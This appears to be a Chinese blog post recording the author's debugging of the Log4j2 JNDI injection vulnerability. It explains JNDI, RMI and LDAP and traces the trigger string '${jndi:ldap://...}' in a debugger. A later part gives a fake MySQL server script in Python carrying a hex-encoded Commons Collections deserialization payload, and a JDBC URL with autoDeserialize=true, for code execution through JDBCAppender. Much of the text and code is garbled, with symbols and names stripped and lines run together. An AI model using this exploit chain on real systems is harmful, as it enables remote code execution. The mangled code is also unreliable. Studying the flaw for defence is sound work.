ApacheLog4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。
JNDI简介JNDI全称为JavaNamingandDirectoryInterface,即Java名称与目录接口。本质上就是一个接口,ND代表的Naming和Directory,分别代表NamingService(名称服务)和DirectoryService(目录服务)。参考JNDI注入漏洞的前世今生
名称服务就是通过名称查找实际对象的服务,例如:通过域名寻找ip地址即DNS服务、文件系统、以及LDAP(LightweightDirectoryAccessProtocol)即轻量级目录访问协议都是名称服务,不同的是LDAP(RFC2251(RFC4511))是一个协议,是和HTTP一样是通用的,而不止局限于JAVA.目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
JNDI架构上主要包含两个部分,即Java的应用层接口和SPI,SPI全称为ServiceProviderInterface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装,如下图所示:

如上JNDI为不同的目录服务提供统一的操作接口
JDK中包含了下述内置的目录服务:
RMI:JavaRemoteMethodInvocation,Java远程方法调用;
LDAP:轻量级目录访问协议;
CORBA:CommonObjectRequestBrokerArchitecture,通用对象请求代理架构,用于COS名称服务(CommonObjectServices);
RMIRMI(RemoteMethodInvocation)即java的远程方法调用,JavaRMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,即JAVA的RPC机制。关于RMI需要注意以下两点:
RMI的传输是基于反序列化的。
对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。
更多可以参考:
LDAPLDAP即是JNDISPI支持的ServiceProvider之一,但同时也是协议。是早期(目录访问协议)的一个子集,因此有时也被称为。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
LDAP的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organizationunit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。
一些定义:

?xmlversion="1.0"encoding="UTF-8"?projectxmlns=""xmlns:xsi=""xsi:schemaLocation=""//groupIdartifactIdlog4j-test///groupIdartifactIdlog4j-api//version//groupIdartifactIdlog4j-core//version/depency/depencies/;publicclasslog4jTest{//获取日志记录器Logger,名字为本类类名privatestaticfinalLoggerlogger=();publicstaticvoidmain(String[]args){for(inti=0;i2;i++){("${jndi:ldap://$xxxx}");}}}漏洞分析产生原因Log4j2默认提供了Lookups功能,查找提供了一种在任意位置向Log4j配置添加值的方法。它们是实现StrLookup接口的特定类型的插件。其中包括了对JNDI
Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE。
流程分析这里使用idea进行动态调试。
首先f7跟进error方法:

到达isEnabled,这里有个限制就是log的level等级必须大于或等于配置的level,在测试的几个版本中,不配置的情况下默认为ERROR,所以info之类的很多无法触发漏洞,log4j2中,共有8个级别,从低到高为:ALLTRACEDEBUGINFOWARNERRORFATALOFF。

在
\数据库地址=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=truequeryInterceptors=====INSERTINTOlog4j(message)VALUES('%d{yyyy-MM-ddHH:mm:ss}[%5p]-%c-%m%n')coding=utf-8importsocketimportbinasciiimportosgreeting_data="4a0000000a352e372e300463b452623342c2d00fff7080200ff8100000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_ok_data="0700000200000002000000"defreceive_data(conn):data=(1024)print("[*]Receiveingthepackage:{}".format(data))returnstr(data).lower()defs_data(conn,data):print("[*]Singthepackage:{}".format(data))(_hex(data))defget_payload_content():calcpayload_content='aced0005737200116a6176612e7574696c2e486ba44859596b8b7340300007870770c000000023f0001737200346f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f62f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f62f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d834870000000057372003b6f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e62e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b0005694135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e0007571007e0040006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637000000000000078707671007e00187371007e00b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000006c6375637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f7849000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f00007700000000787878'returnpayload_content1.先发送第一个问候报文s_data(conn,greeting_data)whileTrue:其他过程data=receive_data(conn)为什么我加了EOFPacket就无法正常运行呢??计算payload长度payload_length=str(hex(len(payload_content)//2)).replace('0x','').zfill(4)payload_length_hex=payload_length[2:4]+payload_length[0:2]当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间(_SOCKET,_REUSEADDR,1)((HOST,PORT))(1)print("startfakemysqlserverlisteningon{}:{}".format(HOST,PORT))run()可以用ysoserial生成CC7的payload,然后运行恶意MySQL服务器进行监听。
例如:

放在mysql服务器的py文件同级目录,并且运行mysq服务器。

log4j三大组件为Logger、Apper、Layout。Logger负责收集处理日志记录,Layout负责日志输出的形式,而Apper负责配置日志的输出位置和方式。
其中Apper可以配置的一种方式为数据库输出(JDBCApper),通过JDBC链接把日志输出到数据库中,配置时需要配置JDBC驱动,连接字符串,用户名,密码以及SQL语句。
我们直接把断点打在的getConnection()处,因为这也是MYSQLJDBC反序列化的执行点。
调用链如下:

成功执行:


但是正常情况下我们是无法控制log4j的配置文件的,所以是比较鸡肋的,但是一些可以动态配置服务的,例如nacos,也许可以找到利用方式。

但是不知道是否支持,:)。
参考:




